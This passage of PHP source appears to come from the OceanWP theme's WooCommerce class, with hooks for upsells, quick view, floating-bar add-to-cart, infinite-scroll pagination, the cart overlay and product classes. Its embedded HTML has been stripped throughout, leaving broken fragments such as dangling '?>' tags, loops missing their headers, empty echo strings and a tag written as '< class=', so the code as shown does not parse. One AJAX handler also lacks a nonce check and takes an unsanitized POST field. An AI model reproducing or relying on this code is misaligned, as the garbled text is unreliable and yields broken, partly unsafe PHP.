*/ public function init() { // Remove WooCommerce breadcrumbs remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20, 0 ); // Alter upsells display remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_upsell_display', 15 ); if ( '0' != get_theme_mod( 'ocean_woocommerce_upsells_count', '3' ) ) { add_action( 'woocommerce_after_single_product_summary', array( $this, 'upsell_display' ), 15 ); } // Alter cross-sells display remove_action( 'woocommerce_cart_collaterals', 'woocommerce_cross_sell_display' ); if ( '0' != get_theme_mod( 'ocean_woocommerce_cross_sells_count', '2' ) ) { add_action( 'woocommerce_cart_collaterals', array( $this, 'cross_sell_display' ) ); } // Add product thumbnail if ( 'hover' != get_theme_mod( 'ocean_woo_products_style', 'default' ) ) { add_action( 'woocommerce_before_shop_loop_item_title', array( $this, 'loop_product_thumbnail' ), 10 ); } // Remove related products if is set to no if ( 'on' != get_theme_mod( 'ocean_woocommerce_display_related_items', 'on' ) ) { remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_related_products', 20 ); } // Remove orderby if disabled if ( ! get_theme_mod( 'ocean_woo_shop_sort', true ) ) { remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 ); } // Add result count if not disabled if ( get_theme_mod( 'ocean_woo_shop_result_count', true ) ) { add_action( 'woocommerce_before_shop_loop', array( $this, 'result_count' ), 31 ); } if ( defined( 'ELEMENTOR_WOOSTORE__FILE__' ) ) { remove_action( 'woocommerce_after_shop_loop_item_title', 'woostore_output_product_excerpt', 35 ); add_action( 'woocommerce_after_shop_loop_item', 'woostore_output_product_excerpt', 21 ); } if ( ! function_exists( 'yith_wcbm_shop_badge_container_start' ) && ! function_exists( 'yith_wcbm_shop_badge_container_end' ) ) { add_action( 'woocommerce_before_shop_loop_item_title', array( $this, 'yith_wcbm_shop_badge_container_start' ), 9 ); add_action( 'woocommerce_before_shop_loop_item_title', array( $this, 'yith_wcbm_shop_badge_container_end' ), 20 ); } if ( class_exists( 'WooCommerce_Germanized' ) ) { // Product entries. remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_gzd_template_loop_delivery_time_info', WC_GZD_Hook_Priorities::instance()->get_priority( 'woocommerce_after_shop_loop_item', 'woocommerce_gzd_template_loop_delivery_time_info', 8 ) ); remove_action( 'woocommerce_after_shop_loop_item_title', 'woocommerce_gzd_template_loop_price_unit', WC_GZD_Hook_Priorities::instance()->get_priority( 'woocommerce_after_shop_loop_item', 'woocommerce_gzd_template_loop_price_unit', 11 ) ); remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_gzd_template_loop_product_units', WC_GZD_Hook_Priorities::instance()->get_priority( 'woocommerce_after_shop_loop_item', 'woocommerce_gzd_template_loop_product_units', 9 ) ); remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_gzd_template_loop_shipping_costs_info', WC_GZD_Hook_Priorities::instance()->get_priority( 'woocommerce_after_shop_loop_item', 'woocommerce_gzd_template_loop_shipping_costs_info', 7 ) ); remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_gzd_template_loop_tax_info', WC_GZD_Hook_Priorities::instance()->get_priority( 'woocommerce_after_shop_loop_item', 'woocommerce_gzd_template_loop_tax_info', 6 ) ); add_action( 'ocean_after_archive_product_inner', array( $this, 'woocommerce_germanized' ) ); // Single product. remove_action( 'woocommerce_single_product_summary', 'woocommerce_gzd_template_single_price_unit', WC_GZD_Hook_Priorities::instance()->get_priority( 'woocommerce_single_product_summary', 'woocommerce_gzd_template_single_price_unit', 11 ) ); remove_action( 'woocommerce_single_product_summary', 'woocommerce_gzd_template_single_legal_info', WC_GZD_Hook_Priorities::instance()->get_priority( 'woocommerce_single_product_summary', 'woocommerce_gzd_template_single_legal_info', 12 ) ); add_action( 'ocean_after_single_product_price', array( $this, 'woocommerce_germanized_single' ), 12 ); // Single product product units and delivery time info. remove_action( 'woocommerce_single_product_summary', 'woocommerce_gzd_template_single_delivery_time_info', WC_GZD_Hook_Priorities::instance()->get_priority( 'woocommerce_single_product_summary', 'woocommerce_gzd_template_single_delivery_time_info', 27 ) ); remove_action( 'woocommerce_product_meta_start', 'woocommerce_gzd_template_single_product_units', WC_GZD_Hook_Priorities::instance()->get_priority( 'woocommerce_single_product_summary', 'woocommerce_gzd_template_single_product_units', 5 ) ); add_action( 'ocean_after_single_product_excerpt', array( $this, 'woocommerce_germanized_single_meta' ), 12 ); } if ( class_exists( 'YITH_WCWL' ) ) { add_action( 'wp_enqueue_scripts', 'ocean_dequeue_yith_wl_scripts' ); add_filter( 'yith_wcwl_button_label', 'owp_yith_wishlist_button_label' ); add_filter( 'yith_wcwl_browse_wishlist_label', 'owp_yith_wishlist_browse_button_label' ); } if ( class_exists( 'SitePress' ) ) { add_filter( 'wcml_multi_currency_ajax_actions', array( $this, 'add_action_to_multi_currency_ajax' ), 10, 1 ); } } /** * Add action to multi currency ajax. * * @param array $ajax_actions The ajax actions. * @since 3.0.0 */ public function add_action_to_multi_currency_ajax( $ajax_actions ) { $ajax_actions[] = 'oceanwp_product_quick_view'; return $ajax_actions; } /** * Remove elements. * * @since 1.0.0 */ public function remove_elements() { remove_action( 'woocommerce_before_shop_loop_item', 'woocommerce_template_loop_product_link_open', 10 ); remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_product_link_close', 5 ); remove_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_show_product_loop_sale_flash', 10 ); remove_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_template_loop_product_thumbnail', 10 ); remove_action( 'woocommerce_shop_loop_item_title', 'woocommerce_template_loop_product_title', 10 ); remove_action( 'woocommerce_after_shop_loop_item_title', 'woocommerce_template_loop_rating', 5 ); remove_action( 'woocommerce_after_shop_loop_item_title', 'woocommerce_template_loop_price', 10 ); remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 ); } /** * Fix the issue in the Elementor Pro editor. * * @since 1.5.19 */ public function before_template_part( $template_name, $template_path, $located, $args ) { if ( class_exists( 'Elementor\Plugin' ) && \Elementor\Plugin::$instance->editor->is_edit_mode() ) { self::remove_elements(); } } /** * Pagination. * * @since 1.4.16 */ public function shop_pagination() { if ( 'infinite_scroll' == get_theme_mod( 'ocean_woo_pagination_style', 'standard' ) && is_woocommerce() ) { remove_action( 'woocommerce_after_shop_loop', 'woocommerce_pagination', 10 ); add_action( 'woocommerce_after_shop_loop', array( $this, 'infinite_pagination' ), 10 ); } } /** * Infinite scroll pagination. * * @since 1.4.16 */ public static function infinite_pagination() { global $wp_query; if ( $wp_query->max_num_pages <= 1 ) { return; } // Last text $last = get_theme_mod( 'ocean_woo_infinite_scroll_last_text' ); $last = oceanwp_tm_translation( 'ocean_woo_infinite_scroll_last_text', $last ); $last = $last ? $last : esc_html__( 'End of content', 'oceanwp' ); // Error text $error = get_theme_mod( 'ocean_woo_infinite_scroll_error_text' ); $error = oceanwp_tm_translation( 'ocean_woo_infinite_scroll_error_text', $error ); $error = $error ? $error : esc_html__( 'No more pages to load', 'oceanwp' ); // Output pagination HTML ?>

                  max_num_pages ); ?>
                  $val ) { if ( isset( $val['id'] ) && in_array( $val['id'], $remove ) ) { unset( $settings[ $key ] ); } } return $settings; } /** * Remove product settings from Woo Admin panel. * * @since 1.0.0 */ public static function remove_product_settings( $settings ) { $remove = array( 'woocommerce_enable_lightbox', ); foreach ( $settings as $key => $val ) { if ( isset( $val['id'] ) && in_array( $val['id'], $remove ) ) { unset( $settings[ $key ] ); } } return $settings; } /** * Body classes * * @since 1.5.0 */ public static function body_class( $classes ) { // If dropdown categories widget style if ( 'dropdown' == get_theme_mod( 'ocean_woo_cat_widget_style', 'default' ) ) { $classes[] = 'woo-dropdown-cat'; } // Distraction free class if ( ( is_cart() && true == get_theme_mod( 'ocean_woo_distraction_free_cart', false ) ) || ( is_checkout() && true == get_theme_mod( 'ocean_woo_distraction_free_checkout', false ) ) ) { $classes[] = 'distraction-free'; } // My Account page style $style = get_theme_mod( 'ocean_woo_account_page_style', 'original' ); if ( 'side' == $style ) { $classes[] = 'account-side-style'; } else { $classes[] = 'account-original-style'; } // Return return $classes; } /** * Add Custom WooCommerce scripts. * * @since 1.0.0 */ public static function add_custom_scripts() { // Register WooCommerce styles wp_enqueue_style( 'oceanwp-woocommerce', OCEANWP_CSS_DIR_URI . 'woo/woocommerce.min.css' ); wp_enqueue_style( 'oceanwp-woo-star-font', OCEANWP_CSS_DIR_URI . 'woo/woo-star-font.min.css' ); // If rtl if ( is_RTL() ) { wp_enqueue_style( 'oceanwp-woocommerce-rtl', OCEANWP_CSS_DIR_URI . 'woo/woocommerce-rtl.css' ); } // If products hover style if ( 'hover' == get_theme_mod( 'ocean_woo_products_style', 'default' ) ) { wp_enqueue_style( 'oceanwp-woo-hover-style', OCEANWP_CSS_DIR_URI . 'woo/hover-style.min.css' ); wp_enqueue_script( 'oceanwp-woo-hover-style', OCEANWP_JS_DIR_URI . 'wp-plugins/woocommerce/woo-hover-style.min.js', array( 'oceanwp-main' ), OCEANWP_THEME_VERSION, true ); } // If dropdown category widget style if ( 'dropdown' == get_theme_mod( 'ocean_woo_cat_widget_style', 'default' ) ) { wp_enqueue_script( 'oceanwp-woo-cat-widget', OCEANWP_JS_DIR_URI . 'wp-plugins/woocommerce/woo-cat-widget.min.js', array( 'oceanwp-main' ), OCEANWP_THEME_VERSION, true ); } // If vertical thumbnails style if ( 'vertical' == get_theme_mod( 'ocean_woo_product_thumbs_layout', 'horizontal' ) ) { wp_enqueue_script( 'oceanwp-woo-thumbnails', OCEANWP_JS_DIR_URI . 'wp-plugins/woocommerce/woo-thumbnails.min.js', array( 'oceanwp-main' ), OCEANWP_THEME_VERSION, true ); } // If quick view. if ( get_theme_mod( 'ocean_woo_quick_view', true ) ) { wp_enqueue_script( 'oceanwp-woo-quick-view', OCEANWP_JS_DIR_URI . 'wp-plugins/woocommerce/woo-quick-view.min.js', array( 'oceanwp-main' ), OCEANWP_THEME_VERSION, true ); wp_enqueue_style( 'oceanwp-woo-quick-view', OCEANWP_CSS_DIR_URI . 'woo/woo-quick-view.min.css' ); wp_enqueue_script( 'wc-add-to-cart-variation' ); wp_enqueue_script( 'flexslider' ); } // If whislist. if ( class_exists( 'TInvWL_Wishlist' ) || class_exists( 'YITH_WCWL' ) ) { wp_enqueue_style( 'oceanwp-wishlist', OCEANWP_CSS_DIR_URI . 'woo/wishlist.min.css' ); } // If single product ajax add to cart if ( true == get_theme_mod( 'ocean_woo_product_ajax_add_to_cart', false ) && oceanwp_is_woo_single() ) { wp_enqueue_script( 'oceanwp-woo-ajax-addtocart', OCEANWP_JS_DIR_URI . 'wp-plugins/woocommerce/woo-ajax-add-to-cart.min.js', array( 'oceanwp-main' ), OCEANWP_THEME_VERSION, true ); } // If floating bar if ( 'on' == get_theme_mod( 'ocean_woo_display_floating_bar', 'on' ) && oceanwp_is_woo_single() ) { wp_enqueue_style( 'oceanwp-woo-floating-bar', OCEANWP_CSS_DIR_URI . 'woo/woo-floating-bar.min.css' ); wp_enqueue_script( 'oceanwp-woo-floating-bar', OCEANWP_JS_DIR_URI . 'wp-plugins/woocommerce/woo-floating-bar.min.js', array( 'oceanwp-main' ), OCEANWP_THEME_VERSION, true ); } // If display cart when product added if ( 'yes' == get_theme_mod( 'ocean_woo_display_cart_product_added', 'no' ) ) { wp_enqueue_script( 'oceanwp-woo-display-cart', OCEANWP_JS_DIR_URI . 'wp-plugins/woocommerce/woo-display-cart.min.js', array( 'oceanwp-main' ), OCEANWP_THEME_VERSION, true ); } // If off canvas filter if ( true == get_theme_mod( 'ocean_woo_off_canvas_filter', false ) && ( oceanwp_is_woo_shop() || oceanwp_is_woo_tax() ) ) { wp_enqueue_script( 'oceanwp-woo-off-canvas', OCEANWP_JS_DIR_URI . 'wp-plugins/woocommerce/woo-off-canvas.min.js', array( 'oceanwp-main' ), OCEANWP_THEME_VERSION, true ); } // If mobile menu mini cart if ( get_theme_mod( 'ocean_woo_add_mobile_mini_cart', true ) ) { wp_enqueue_script( 'oceanwp-woo-mini-cart', OCEANWP_JS_DIR_URI . 'wp-plugins/woocommerce/woo-mini-cart.min.js', array( 'oceanwp-main' ), OCEANWP_THEME_VERSION, true ); } // If multi step checkout if ( true == get_theme_mod( 'ocean_woo_multi_step_checkout', false ) && is_checkout() ) { wp_enqueue_style( 'oceanwp-woo-multistep-checkout', OCEANWP_CSS_DIR_URI . 'woo/woo-multistep-checkout.min.css' ); $woo_deps = array( 'wc-checkout', 'wc-country-select' ); if ( class_exists( 'WC_Ship_Multiple' ) ) { $woo_deps[] = 'wcms-country-select'; } wp_enqueue_script( 'oceanwp-woo-multistep-checkout', OCEANWP_JS_DIR_URI . 'wp-plugins/woocommerce/woo-multi-step-checkout.min.js', $woo_deps, OCEANWP_THEME_VERSION, true ); } } /** * Localize array. * * @since 1.5.0 */ public static function localize_array( $array ) { // If single product ajax add to cart if ( true == get_theme_mod( 'ocean_woo_product_ajax_add_to_cart', false ) ) { $array['is_cart'] = is_cart(); $array['cart_url'] = apply_filters( 'ocean_woocommerce_add_to_cart_redirect', wc_get_cart_url() ); } // If multi step checkout if ( true == get_theme_mod( 'ocean_woo_multi_step_checkout', false ) ) { $array['ajax_url'] = admin_url( 'admin-ajax.php' ); $array['login_reminder_enabled'] = 'yes' == get_option( 'woocommerce_enable_checkout_login_reminder', 'yes' ) ? true : false; $array['is_logged_in'] = is_user_logged_in(); $array['no_account_btn'] = esc_html__( 'I don’t have an account', 'oceanwp' ); $array['next'] = esc_html__( 'Next', 'oceanwp' ); } // If quick view, ajax add to cart or floating bar if ( get_theme_mod( 'ocean_woo_quick_view', true ) || true == get_theme_mod( 'ocean_woo_product_ajax_add_to_cart', false ) || 'on' == get_theme_mod( 'ocean_woo_display_floating_bar', 'on' ) ) { $array['ajax_url'] = admin_url( 'admin-ajax.php' ); $array['cart_url'] = apply_filters( 'woocommerce_add_to_cart_redirect', wc_get_cart_url(), null ); $array['cart_redirect_after_add'] = get_option( 'woocommerce_cart_redirect_after_add' ); } // Add the View Cart here to avoid the undefined word on the related products $array['view_cart'] = esc_html__( 'View cart', 'oceanwp' ); // Check if the floating bar is enabled for the quantity button $array['floating_bar'] = get_theme_mod( 'ocean_woo_display_floating_bar', 'on' ); // Grouped product button text in the quick view $array['grouped_text'] = esc_html__( 'View products', 'oceanwp' ); $array['multistep_checkout_error'] = __( 'Some required fields are empty. Please fill the required fields to go to the next step.', 'oceanwp' ); return $array; } /** * Single Product add to cart ajax request. * * @since 1.5.0 */ public static function add_cart_single_product_ajax() { $product_id = sanitize_text_field( $_POST['product_id'] ); $variation_id = sanitize_text_field( $_POST['variation_id'] ); $variation = $_POST['variation']; $quantity = sanitize_text_field( $_POST['quantity'] ); if ( $variation_id ) { WC()->cart->add_to_cart( $product_id, $quantity, $variation_id, $variation ); } else { WC()->cart->add_to_cart( $product_id, $quantity ); } die(); } /** * Add cart overlay. * * @since 1.5.0 */ public static function cart_overlay() { ?>
                  '; echo '
                  '; echo '×'; echo '

                  ' . esc_html__( 'Cart', 'oceanwp' ) . '

                  '; echo '
                  '; the_widget( 'WC_Widget_Cart', 'title=' ); echo '
                  '; echo '
                  '; echo '
                  '; echo '
                  '; } /** * Adds an opening div "oceanwp-toolbar" around top elements. * * @since 1.1.1 */ public static function add_shop_loop_div() { echo '
                  '; } /** * Register off canvas filter sidebar. * * @since 1.5.0 */ public static function register_off_canvas_sidebar() { register_sidebar( array( 'name' => esc_html__( 'Off-Canvas Filters', 'oceanwp' ), 'description' => esc_html__( 'Widgets in this area are used in the off canvas sidebar. To enable the Off Canvas filter, go to the WooCommerce > Archives section of the customizer and enable the Display Filter Button option.', 'oceanwp' ), 'id' => 'owp_off_canvas_sidebar', 'before_widget' => '', 'before_title' => '

                  ', 'after_title' => '

                  ', ) ); } /** * Get Off Canvas Sidebar. * * @since 1.5.0 */ public static function get_off_canvas_sidebar() { // Return if is not in shop page if ( ! oceanwp_is_woo_shop() && ! oceanwp_is_woo_tax() ) { return; } if ( function_exists( 'wc_get_template' ) ) { wc_get_template( 'owp-off-canvas-sidebar.php' ); } } /** * Add off canvas filter button. * * @since 1.5.0 */ public static function off_canvas_filter_button() { // Return if is not in shop page if ( ! oceanwp_is_woo_shop() && ! oceanwp_is_woo_tax() ) { return; } // Get filter text $text = get_theme_mod( 'ocean_woo_off_canvas_filter_text' ); $text = oceanwp_tm_translation( 'ocean_woo_off_canvas_filter_text', $text ); $text = $text ? $text : esc_html__( 'Filter', 'oceanwp' ); $output = '' . oceanwp_icon( 'menu', false ) . '' . esc_html( $text ) . ''; echo apply_filters( 'oceanwp_off_canvas_filter_button_output', $output ); } /** * Add grid/list buttons. * * @since 1.1.1 */ public static function grid_list_buttons() { // Return if is not in shop page if ( ! oceanwp_is_woo_shop() && ! oceanwp_is_woo_tax() ) { return; } // Titles $grid_view = esc_html__( 'Grid view', 'oceanwp' ); $list_view = esc_html__( 'List view', 'oceanwp' ); // Active class if ( 'list' == get_theme_mod( 'ocean_woo_catalog_view', 'grid' ) ) { $list = 'active '; $grid = ''; } else { $grid = 'active '; $list = ''; } $grid_view_icon = oceanwp_icon( 'grid', false ); $list_view_icon = oceanwp_icon( 'list', false ); $output = ''; echo apply_filters( 'oceanwp_grid_list_buttons_output', $output ); } /** * Closes the opening div "oceanwp-toolbar" around top elements. * * @since 1.1.1 */ public static function close_shop_loop_div() { echo '
                  '; } /** * Add result count. * * @since 1.1.1 */ public static function result_count() { // Return if is not in shop page if ( ( ! oceanwp_is_woo_shop() && ! is_product_category() && ! is_product_tag() && ! ocean_is_wc_attribute() ) || is_search() ) { return; } get_template_part( 'woocommerce/result-count' ); } /** * Returns correct posts per page for the shop * * @since 1.0.0 */ public static function loop_shop_per_page() { if ( get_theme_mod( 'ocean_woo_shop_result_count', true ) ) { $posts_per_page = ( isset( $_GET['products-per-page'] ) ) ? sanitize_text_field( wp_unslash( $_GET['products-per-page'] ) ) : get_theme_mod( 'ocean_woo_shop_posts_per_page', '12' ); if ( $posts_per_page == 'all' ) { $posts_per_page = wp_count_posts( 'product' )->publish; } } else { $posts_per_page = get_theme_mod( 'ocean_woo_shop_posts_per_page' ); $posts_per_page = $posts_per_page ? $posts_per_page : '12'; } return $posts_per_page; } /** * Change products per row for the main shop. * * @since 1.0.0 */ public static function loop_shop_columns() { $columns = get_theme_mod( 'ocean_woocommerce_shop_columns', '3' ); $columns = $columns ? $columns : '3'; return $columns; } /** * Change products per row for upsells. * * @since 1.0.0 */ public static function upsell_display() { // Get count $count = get_theme_mod( 'ocean_woocommerce_upsells_count', '3' ); $count = $count ? $count : '3'; // Get columns $columns = get_theme_mod( 'ocean_woocommerce_upsells_columns', '3' ); $columns = $columns ? $columns : '3'; // Alter upsell display woocommerce_upsell_display( $count, $columns ); } /** * Change products per row for crossells. * * @since 1.0.0 */ public static function cross_sell_display() { // Get count $count = get_theme_mod( 'ocean_woocommerce_cross_sells_count', '2' ); $count = $count ? $count : '2'; // Get columns $columns = get_theme_mod( 'ocean_woocommerce_cross_sells_columns', '2' ); $columns = $columns ? $columns : '2'; // Alter cross-sell display woocommerce_cross_sell_display( $count, $columns ); } /** * Alter the related product arguments. * * @since 1.0.0 */ public static function related_product_args() { // Get global vars global $product, $orderby, $related; // Get posts per page $posts_per_page = get_theme_mod( 'ocean_woocommerce_related_count', '3' ); $posts_per_page = $posts_per_page ? $posts_per_page : '3'; // Get columns $columns = get_theme_mod( 'ocean_woocommerce_related_columns', '3' ); $columns = $columns ? $columns : '3'; // Return array return array( 'posts_per_page' => $posts_per_page, 'columns' => $columns, ); } /** * Adds an opening div "product-inner" around product entries. * * @since 1.0.0 */ public static function add_shop_loop_item_inner_div() { echo '
                  '; } /** * Adds an out of stock tag to the products. * * @since 1.0.0 */ public static function add_out_of_stock_badge() { if ( function_exists( 'oceanwp_woo_product_instock' ) && ! oceanwp_woo_product_instock() ) { $label = esc_html__( 'Out of Stock', 'oceanwp' ); ?>
                  '; } /** * Quick view button. * * @since 1.5.0 */ public static function quick_view_button() { global $product; $button = '' . oceanwp_icon( 'eye', false ) . ' ' . oceanwp_theme_strings( 'owp-string-woo-quick-view-text', false ) . ''; echo apply_filters( 'ocean_woo_quick_view_button_html', $button ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Quick view ajax. * * @since 1.5.0 */ public static function product_quick_view_ajax() { if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'oceanwp' ) ) { wp_die(); } if ( ! isset( $_POST['product_id'] ) ) { wp_die(); } $product_id = intval( $_POST['product_id'] ); // wp_query for the product. wp( 'p=' . $product_id . '&post_type=product' ); ob_start(); get_template_part( 'woocommerce/quick-view-content' ); $output = ob_get_clean(); echo wp_json_encode( array( 'output' => $output ) ); wp_die(); } /** * Quick view template. * * @since 1.5.0 */ public static function quick_view_template() { get_template_part( 'woocommerce/quick-view' ); } /** * Quick view image. * * @since 1.5.0 */ public static function quick_view_image() { get_template_part( 'woocommerce/quick-view-image' ); } /** * Clear floats after single product summary. * * @since 1.0.0 */ public static function clear_summary_floats() { echo '
                  '; } /** * Single product content. * * @since 1.1.9 */ public static function single_product_content() { if ( function_exists( 'wc_get_template' ) ) { wc_get_template( 'owp-single-product.php' ); } } /** * Add product navigation. * * @since 1.5.0 */ public static function product_next_prev_nav() { global $post; $next_post = get_next_post( true, '', 'product_cat' ); $prev_post = get_previous_post( true, '', 'product_cat' ); $ocean_next_prev_prod_content = ''; if ( is_a( $prev_post, 'WP_Post' ) ) { $next_arrow = is_rtl() ? oceanwp_icon( 'angle_right', false ) : oceanwp_icon( 'angle_left', false ); ob_start(); ?>

                  < class="entry-title" itemprop="name">get_title(), '4' ); ?>>

                  get_price_html(); ?>

                  get_stock_status() ) { ?>

                  is_type( 'simple' ) && $product->is_purchasable() && $product->is_in_stock() && ! $product->is_sold_individually() ) { echo self::floating_bar_add_to_cart( $product ); } else { ?>

                  add_to_cart_url() ) . '" class="cart" method="post" enctype="multipart/form-data">'; $html .= woocommerce_quantity_input( array( 'min_value' => apply_filters( 'woocommerce_quantity_input_min', $product->get_min_purchase_quantity(), $product ), 'max_value' => apply_filters( 'woocommerce_quantity_input_max', $product->get_max_purchase_quantity(), $product ), 'input_value' => isset( $_POST['quantity'] ) ? wc_stock_amount( wp_unslash( $_POST['quantity'] ) ) : $product->get_min_purchase_quantity(), // WPCS: CSRF ok, input var ok. ), $product, false ); $html .= ''; $html .= ''; return $html; } /** * Floating bar add to cart ajax request. * * @since 1.5.0 */ public static function add_cart_floating_bar_ajax() { if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'oceanwp' ) ) { wp_die(); } $product_id = sanitize_text_field( $_POST['product_id'] ); $quantity = sanitize_text_field( $_POST['quantity'] ); $cart_item_key = WC()->cart->add_to_cart( $product_id, $quantity ); echo $cart_item_key; wp_die(); } /** * Add wrap and user info to the account navigation. * * @since 1.0.0 */ public static function oceanwp_before_account_navigation() { // Name to display $current_user = wp_get_current_user(); if ( $current_user->display_name ) { $name = $current_user->display_name; } else { $name = esc_html__( 'Welcome!', 'oceanwp' ); } $name = apply_filters( 'ocean_user_profile_name_text', $name ); echo '
                  '; echo ''; } /** * Add wrap to the account navigation. * * @since 1.0.0 */ public static function oceanwp_after_account_navigation() { echo '
                  '; } /** * Adds container wrap for the thumbnail and title of the categories products. * * @since 1.1.1.1 */ public static function add_container_wrap_category() { echo '
                  '; } /** * Adds a container div before the thumbnail for the categories products. * * @since 1.1.1.1 */ public static function add_div_before_category_thumbnail( $category ) { echo '
                  '; echo ''; } /** * Close a container div before the thumbnail for the categories products. * * @since 1.1.1.1 */ public static function close_div_after_category_thumbnail() { echo ''; echo '
                  '; } /** * Adds a container div before the thumbnail for the categories products. * * @since 1.1.1.1 */ public static function add_div_before_category_title( $category ) { echo '
                  '; echo ''; } /** * Add description if list view for the categories products. * * @since 1.1.1.1 */ public static function add_category_description( $category ) { // Close category link openend in add_div_before_category_title() echo ''; // Var $term = get_term( $category->term_id, 'product_cat' ); $description = $term->description; $length = get_theme_mod( 'ocean_woo_list_excerpt_length', '60' ); // Description if ( get_theme_mod( 'ocean_woo_grid_list', true ) && $description ) { echo '
                  '; echo '
                  '; if ( ! $length ) { echo wp_kses_post( strip_shortcodes( $description ) ); } else { echo wp_trim_words( strip_shortcodes( $description ), $length ); } echo '
                  '; echo '
                  '; } } /** * Close a container div before the thumbnail for the categories products. * * @since 1.1.1.1 */ public static function close_div_after_category_title() { echo '
                  '; } /** * Close container wrap for the thumbnail and title of the categories products. * * @since 1.1.1.1 */ public static function close_container_wrap_category() { echo '
                  '; } /** * Before my account login. * * @since 1.0.0 */ public static function oceanwp_login_wrap_before() { echo '
                  '; } /** * After my account login. * * @since 1.0.0 */ public static function oceanwp_login_wrap_after() { echo '
                  '; } /** * Display the categories featured images. * * @since 1.0.0 */ public static function woocommerce_category_image() { if ( is_product_category() ) { global $wp_query; $cat = $wp_query->get_queried_object(); $thumbnail_id = get_term_meta( $cat->term_id, 'thumbnail_id', true ); $image = wp_get_attachment_url( $thumbnail_id ); if ( $image ) { echo '
                  ' . $cat->name . '
                  '; } } } /** * Tweaks pagination arguments. * * @since 1.0.0 */ public static function pagination_args( $args ) { // Nav icons. $p_arrow = is_rtl() ? oceanwp_icon( 'angle_right', false ) : oceanwp_icon( 'angle_left', false ); $n_arrow = is_rtl() ? oceanwp_icon( 'angle_left', false ) : oceanwp_icon( 'angle_right', false ); // Args. $args['prev_text'] = $p_arrow; $args['next_text'] = $n_arrow; return $args; } /** * Alter continue shoping URL. * * @since 1.0.0 */ public static function continue_shopping_redirect( $return_to ) { $shop_id = wc_get_page_id( 'shop' ); if ( function_exists( 'icl_object_id' ) ) { $shop_id = icl_object_id( $shop_id, 'page' ); } if ( $shop_id ) { $return_to = get_permalink( $shop_id ); } return $return_to; } /** * Add classes to WooCommerce product entries. * * @since 1.0.0 */ public static function add_product_classes( $classes ) { global $woocommerce_loop; // Vars $product = wc_get_product( get_the_ID() ); $content_alignment = get_theme_mod( 'ocean_woo_product_entry_content_alignment', 'center' ); $content_alignment = $content_alignment ? $content_alignment : 'center'; $thumbs_layout = get_theme_mod( 'ocean_woo_product_thumbs_layout', 'horizontal' ); $thumbs_layout = $thumbs_layout ? $thumbs_layout : 'horizontal'; $tabs_layout = get_theme_mod( 'ocean_woo_product_tabs_layout', 'horizontal' ); $tabs_layout = $tabs_layout ? $tabs_layout : 'horizontal'; $btn_style = get_theme_mod( 'ocean_woo_product_addtocart_style', 'normal' ); $btn_style = $btn_style ? $btn_style : 'normal'; // Product entries if ( $product && ! empty( $woocommerce_loop['columns'] ) ) { // If has rating. if ( $product->get_rating_count() ) { $classes[] = 'has-rating'; } // If product navigation if ( true == get_theme_mod( 'ocean_woocommerce_display_navigation', true ) ) { $classes[] = 'has-product-nav'; } // Column Alignment. $classes[] = 'col'; $classes[] = oceanwp_grid_class( $woocommerce_loop['columns'] ); $classes[] = 'owp-content-' . $content_alignment; // If infinite scroll. if ( 'infinite_scroll' == get_theme_mod( 'ocean_woo_pagination_style', 'standard' ) ) { $classes[] = 'item-entry'; } } // Single product if ( post_type_exists( 'product' ) ) { // Thumbnails layout $classes[] = 'owp-thumbs-layout-' . $thumbs_layout; // Add to cart button style $classes[] = 'owp-btn-' . $btn_style; // Tabs layout $classes[] = 'owp-tabs-layout-' . $tabs_layout; // If no thumbnails $thumbnails = get_post_meta( get_the_ID(), '_product_image_gallery', true ); if ( empty( $thumbnails ) ) { $classes[] = 'has-no-thumbnails'; } // Display product navigation. if ( true == get_theme_mod( 'ocean_woocommerce_display_navigation', true ) ) { $classes[] = 'has-product-nav'; } } // Sale badge style $sale_style = get_theme_mod( 'ocean_woo_sale_badge_style', 'square' ); if ( 'circle' == $sale_style ) { $classes[] = $sale_style . '-sale'; } return $classes; } /** * Add the product class to the Elementor editor to fix the product display issue. * * @since 1.5.18 */ public static function add_product_class_for_elementor( $classes ) { if ( in_array( 'type-product', $classes ) ) { $classes[] = 'product'; } return $classes; } /** * Disable woo css * * @since 1.4.7 */ public function disable_woo_css() { $styles = []; return $styles; } /** * Remove the category description under the page title on taxonomy. * * @since 1.4.7 */ public static function post_subheading( $return ) { if ( is_woocommerce() && is_product_taxonomy() ) { $return = false; } return $return; } /** * Disables the next/previous links. * * @since 1.0.0 */ public static function next_prev( $return ) { if ( is_woocommerce() && is_singular( 'product' ) ) { $return = false; } return $return; } /** * Adds color accents for WooCommerce styles. * * @since 1.0.0 */ public static function primary_texts( $texts ) { return array_merge( array( '.woocommerce-MyAccount-navigation ul li a:before', '.woocommerce-checkout .woocommerce-info a', '.woocommerce-checkout #payment ul.payment_methods .wc_payment_method>input[type=radio]:first-child:checked+label:before', '.woocommerce-checkout #payment .payment_method_paypal .about_paypal', '.woocommerce ul.products li.product li.category a:hover', '.woocommerce ul.products li.product .button:hover', '.woocommerce ul.products li.product .product-inner .added_to_cart:hover', '.product_meta .posted_in a:hover', '.product_meta .tagged_as a:hover', '.woocommerce div.product .woocommerce-tabs ul.tabs li a:hover', '.woocommerce div.product .woocommerce-tabs ul.tabs li.active a', '.woocommerce .oceanwp-grid-list a.active', '.woocommerce .oceanwp-grid-list a:hover', '.woocommerce .oceanwp-off-canvas-filter:hover', '.widget_shopping_cart ul.cart_list li .owp-grid-wrap .owp-grid a.remove:hover', '.widget_product_categories li a:hover ~ .count', '.widget_layered_nav li a:hover ~ .count', '.woocommerce ul.products li.product:not(.product-category) .woo-entry-buttons li a:hover', ), $texts ); } /** * Adds color accents for SVG icons. * * @since 1.0.0 */ public static function primary_svg_icons( $svg_icons ) { return 